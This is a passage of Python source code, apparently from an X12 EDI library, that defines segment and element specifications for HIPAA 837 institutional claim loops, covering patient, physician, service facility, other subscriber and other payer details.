data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'025',desc=u'Patient Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'030',desc=u'Patient City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'DMG', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'032',desc=u'Patient Demographic Information'), Element( u'DMG01', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'D8'] ) ), Element( u'DMG02', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=2, codes=[] ) ), Element( u'DMG03', Properties(desc=u'Gender Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=3, codes=[u'F', u'M', u'U'] ) ), Element( u'DMG04', Properties(desc=u'Marital Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), Element( u'DMG05', Properties(desc=u'Race or Ethnicity Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=5, codes=[] ) ), Element( u'DMG06', Properties(desc=u'Citizenship Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=6, codes=[] ) ), Element( u'DMG07', Properties(desc=u'Country Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=7, codes=[] ) ), Element( u'DMG08', Properties(desc=u'Basis of Verification Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'DMG09', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=9, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'035',desc=u'Patient Secondary Identification Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1W', u'23', u'IG', u'SY'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'035',desc=u'Property and Casualty Claim Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'Y4'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2305 = Loop( u'2305', Properties(looptype='',repeat=u'6',pos=u'242',req_sit=u'S',desc=u'Home Health Care Plan Information'), Segment( u'CR7', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'242',desc=u'Home Health Care Plan Information'), Element( u'CR701', Properties(desc=u'Discipline Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'AI', u'MS', u'OT', u'PT', u'SN', u'ST'] ) ), Element( u'CR702', Properties(desc=u'Number', req_sit=u'R', data_type=(u'N0',u'1',u'9'), position=2, codes=[] ) ), Element( u'CR703', Properties(desc=u'Number', req_sit=u'R', data_type=(u'N0',u'1',u'9'), position=3, codes=[] ) ), ), Segment( u'HSD', Properties(syntax='',req_sit=u'S',repeat=u'12',pos=u'243',desc=u'Health Care Services Delivery'), Element( u'HSD01', Properties(desc=u'Quantity Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'VS'] ) ), Element( u'HSD02', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=2, codes=[] ) ), Element( u'HSD03', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=3, codes=[u'DA', u'MO', u'Q1', u'WK'] ) ), Element( u'HSD04', Properties(desc=u'Sample Selection Modulus', req_sit=u'S', data_type=(u'R',u'1',u'6'), position=4, codes=[] ) ), Element( u'HSD05', Properties(desc=u'Time Period Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=5, codes=[u'7', u'35'] ) ), Element( u'HSD06', Properties(desc=u'Number of Periods', req_sit=u'S', data_type=(u'N0',u'1',u'3'), position=6, codes=[] ) ), Element( u'HSD07', Properties(desc=u'Ship/Delivery or Calendar Pattern Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=7, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'A', u'B', u'C', u'D', u'E', u'F', u'G', u'H', u'J', u'K', u'L', u'N', u'O', u'S', u'SA', u'SB', u'SC', u'SD', u'SG', u'SL', u'SP', u'SX', u'SY', u'SZ', u'W'] ) ), Element( u'HSD08', Properties(desc=u'Ship/Delivery Pattern Time Code', req_sit=u'S', data_type=(u'ID',u'1',u'1'), position=8, codes=[u'D', u'E', u'F'] ) ), ), ) parsed_837_2310A = Loop( u'2310A', Properties(looptype='',repeat=u'1',pos=u'250',req_sit=u'S',desc=u'Attending Physician Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'250',desc=u'Attending Physician Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'71'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'255',desc=u'Attending Physician Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'AT', u'SU'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'271',desc=u'Attending Physician Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2310B = Loop( u'2310B', Properties(looptype='',repeat=u'1',pos=u'250',req_sit=u'S',desc=u'Operating Physician Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'250',desc=u'Operating Physician Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'72'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'255',desc=u'Operating Physician Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'OP'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'271',desc=u'Operating Physician Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2310C = Loop( u'2310C', Properties(looptype='',repeat=u'1',pos=u'250',req_sit=u'S',desc=u'Other Provider Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'250',desc=u'Other Provider Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'73'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'255',desc=u'Other Provider Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'OT', u'PE'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'271',desc=u'Other Provider Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2310E = Loop( u'2310E', Properties(looptype='',repeat=u'1',pos=u'250',req_sit=u'S',desc=u'Service Facility Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'250',desc=u'Service Facility Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'FA'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'S', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'255',desc=u'Service Facility Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'RP'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'265',desc=u'Service Facility Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'270',desc=u'Service Facility City/State/Zip Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'271',desc=u'Service Facility Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'1J', u'EI', u'FH', u'G2', u'G5', u'LU', u'N5', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330A = Loop( u'2330A', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'R',desc=u'Other Subscriber Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Subscriber Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'IL'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'MI', u'ZZ'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'332',desc=u'Other Subscriber Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'340',desc=u'Other Subscriber City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'355',desc=u'Other Subscriber Secondary Information'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1W', u'23', u'IG', u'SY'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330B = Loop( u'2330B', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'R',desc=u'Other Payer Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'PR'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'PI', u'XV'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'332',desc=u'Other Payer Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'340',desc=u'Other Payer City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'350',desc=u'Claim Adjudication Date'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'573'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'355',desc=u'Other Payer Secondary Identification and Reference Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'2U', u'F8', u'FY', u'NF', u'TJ'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'355',desc=u'Other Payer Prior Authorization or Referral Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'9F', u'G1'] ) ), Element( u'REF02', Properties(desc=u'Reference 